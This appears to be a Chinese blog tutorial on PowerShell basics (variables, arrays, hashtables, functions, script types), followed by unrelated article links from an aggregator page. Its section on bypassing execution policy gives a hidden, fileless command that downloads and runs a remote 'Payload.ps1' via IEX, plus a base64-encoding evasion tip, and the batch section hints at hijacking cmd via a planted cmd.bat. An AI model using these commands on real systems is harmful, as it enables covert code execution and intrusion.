0x01 简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。当然说这些,作为用户不关心你是什么技术,首先想知道的是你提供的是什么东西、怎么用。

PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:

(1)微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。

(2)兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。

(3)对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。

(4)统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下,如果再加上后发优势那就可以让人相信PowerShell可以成功。

第一点是PowerShell所有命令使用统一的cmdlet命令格式(也就是“动词-名词”的格式,比如get-process)会使人很容易记住;

第二点这里所谓自包含是指你要干一件事你可以逐步找到要做的事所需的所有命令,即便你记不得命令你也可以很容易找到,你找到命令看文档就很容易知道怎么使用。

当然powershell很好但也有着其劣势:

(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。

(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。

Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。

0x02 基础知识

Get-Host:获取当前powershell的版本信息

2.1 变量

变量:变量都是以$开头, 是强类型语言, 语言是大小写不敏感的

非常有必要提一下变量保护与常量的声明:

New-Variable num -Value 100 -Force -Option readonly

这样就得到一个受保护的变量$num,如果要销毁它只能通过del Variable:num -Force删除。

如果要声明常量则用:(注意:常量一旦声明,不可修改)

New-Variable num -Value 100 -Force -Option constant

2.2 数组

数组的创建:

数组的创建可以通过下面五种方式来创建,在适当的条件下选择适当的方式创建即可

$array = 1,2,3,4,5
$array = 1..5
$array=1,"2019",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组

数组的访问:a[4]

数组的访问和C类似,第一位元素实用下标0来访问即$array[0],我们来看看ipconfig获取到的数据:

$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据

数组的判断:

$ip -is [array]

数组的追加:

$a += "6"

2.3 哈希表

哈希表的创建:

$stu=@{Name="test";Age="12";sex="man"}

哈希表里存数组:

$stu=@{ Name = "momaek";Age="12";sex="man";Books="kali","sqlmap","powershell" }

哈希表的更改与删除:

#更改
$Stu.Name="hahaha" #删除
$stu.Remove("Name")

2.4 对象

在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法。

foreach-object函数用法:获取所有的服务,并获取对比进程ID是否大于100:

Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}

2.5 函数

函数的定义:

function Invoke-PortScan {
<#
.SYNOPSIS
简介

.DESCRIPTION
描述 .PARAMETER StartAddress
参数

.PARAMETER EndAddress
参数

.EXAMPLE
用例
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 #>
code
}

2.6 异常处理

Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}

0x03 脚本执行

windows平台中常用到的几种脚本:

3.1 Bat

全名为批处理文件,脚本中就是我们在CMD中使用到的命令。

这里提一个小知识点:

CMD的命令行执行命令的优先级是.bat > .exe,那么假如我放一个cmd.bat在system32目录下,那么优先执行的是cmd.bat,这里面的内容就变得不可描述起来了

3.2 VBscript

执行vbs就是常说的vbscript,是微软为了方便自动化管理windows而推出的脚本语言,这里了解一下即可,不是文章重点。

一个小例子通过vbs操作WMI:

Set wmi = GetObject("winmgmts:")
Set collection = wmi.ExecQuery("select * from Win32_Process")
For Each process in collection
WScript.Echo process.getObjectText_
Next

3.3 Powershell

这就是我们的主角,在现在和未来一定是powershell占据主要地位(对于这一点搞Win多一点的朋友一定不会怀疑),首先我们来看一个简单的例子:

script.ps1:

function test-conn {
Test-Connection -Count 2 -ComputerName $args
}

首先来理解一下这个函数里面的代码:

Test-Connection www.baidu.com

那么我们就知道了 -count 2 连接次数为2 然后后面的-computername www.baidu.com 为域名的参数

想要执行非系统ps脚本的话,需要用管理员权限调整一下默认的安全策略:

set-ExecutionPolicy RemoteSigned

之后再导入模块:

Import-Module .\script.ps1

最后通过调用函数运行:

test-conn www.baidu.com

0x04 绕过 PowerShell 的执行策略

#本地文件执行
powershell.exe -ExecutionPolicy bypass -File Payload.ps1
powershell.exe exec bypass -Command "& {Import-Module C:\Payload.ps1;Invoke-AllChecks}" #远程无文件执行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的参数] (去除方括号)

如果本地的powershell命令参数进行了限制,可以使用ps_encoder.py脚本将编码转为base64格式

0x05 参考链接

https://www.cnblogs.com/lsdb/p/9531338.html

https://www.pstips.net/powershell-define-variable.html

https://blog.csdn.net/q1352483315/article/details/100778424

https://www.t00ls.net/viewthread.php?tid=30522&extra=&highlight=powershell&page=1

Powershell基础学习的更多相关文章

  1. 【黑客基础】Windows PowerShell 脚本学习(上)

    视频地址:[黑客基础]Windows PowerShell 脚本学习 2019.12.05 学习笔记 1.$PSVersionTable :查看PowerShell的版本信息. 2.PowerShel ...

  2. vagrant的学习 之 基础学习

    vagrant的学习 之 基础学习 本文根据慕课网的视频教程练习,感谢慕课网! 慕课的参考文档地址:https://github.com/apanly/mooc/tree/master/vagrant ...

  3. powershell 基础

    目录 本教程概述 用到的工具 标签 简介 0x01使用简介 0x02脚本编写 0x03实例讲解 本教程概述 本课我们学习powershell使用. 用到的工具 cmd.exe   powershell ...

  4. Linux 基础学习1

    目录 Linux 基础学习 用户登录 终端 交互式接口 bash 修改ssh连接慢的步骤 命令提示符 显示提示符格式 命令 别名 命令格式 获取命令的帮助信息 man bash 快捷键 tab 键 引 ...

  5. salesforce 零基础学习(五十二)Trigger使用篇(二)

    第十七篇的Trigger用法为通过Handler方式实现Trigger的封装,此种好处是一个Handler对应一个sObject,使本该在Trigger中写的代码分到Handler中,代码更加清晰. ...

  6. 如何从零基础学习VR

    转载请声明转载地址:http://www.cnblogs.com/Rodolfo/,违者必究. 近期很多搞技术的朋友问我,如何步入VR的圈子?如何从零基础系统性的学习VR技术? 本人将于2017年1月 ...

  7. IOS基础学习-2: UIButton

    IOS基础学习-2: UIButton   UIButton是一个标准的UIControl控件,UIKit提供了一组控件:UISwitch开关.UIButton按钮.UISegmentedContro ...

  8. HTML5零基础学习Web前端需要知道哪些?

    HTML零基础学习Web前端网页制作,首先是要掌握一些常用标签的使用和他们的各个属性,常用的标签我总结了一下有以下这些: html:页面的根元素. head:页面的头部标签,是所有头部元素的容器. b ...

  9. python入门到精通[三]:基础学习(2)

    摘要:Python基础学习:列表.元组.字典.函数.序列化.正则.模块. 上一节学习了字符串.流程控制.文件及目录操作,这节介绍下列表.元组.字典.函数.序列化.正则.模块. 1.列表 python中 ...

随机推荐

  1. JDBC 复习

    概念 Java DataBase Connectivity java数据库连接 定义了操作所有关系型数据库的规则(接口),不同的数据库厂商编写类实现这些接口,这些类就叫数据库驱动,使得用户只需要使用统 ...

  2. android ListView中含有按钮事件实时更新ListView数据案例

    1.布局文件Listview <?xml version="1.0" encoding="utf-8"?> <android.support. ...

  3. React-router5.x 路由的使用及配置

    在 React router 中通常使用的组件有三种: 路由组件(作为根组件): BrowserRouter(history模式) 和 HashRouter(hash模式) 路径匹配组件: Route ...

  4. 响应式js库——rxjs

    原文地址:https://rxjs.dev/guide/overview 简介 RxJS 是组合异步以及基于事件的使用可观察者序列的程序类库.它提供一个核心类型,Observable,附属类型(Obs ...

  5. python之路第五天

    字符串的应用(二) expandtabs 断句16,不够16个,用空格补齐 s = "username\te-mail\tpassword\nxiaoming\t123@qq.com\t12 ...

  6. Django之DRF源码分析(二)---数据校验部分

    Django之DRF源码分析(二)---数据校验部分 is_valid() 源码 def is_valid(self, raise_exception=False): assert not hasat ...

  7. go mod开发模式设置

    文章要解决的仅仅是一个问题 当你使用go get 无论如何get不到所需的包的问题 第一步就是下载goland 新手极其推荐goland,因为直接使用gland几乎没有挫败感,使用其他工具可能要折腾好 ...

  8. httprunner学习8-validate校验器

    前言 在一个完整的测试用例中,断言是必不可少的,断言是拿实际结果和期望结果去比较,在httprunner中用validate来对比测试结果. validate校验器 在httprunner的源码里,u ...

  9. Vuex之Mutation

    [前言] 数据在页面是获取到了,但是如果需要修改count值怎么办?更改 Vuex 的 store 中的状态的唯一方法是提交 mutation.Vuex 中的 mutation 非常类似于事件:每个 ...

  10. spark-shell操作hive

    本文是在集群已经搭建好的基础上来说的,还没有搭建好集群的小伙伴还请自行百度! 启动spark-shell之前要先启动hive metastore 和 hiveservice2 hive --servi ...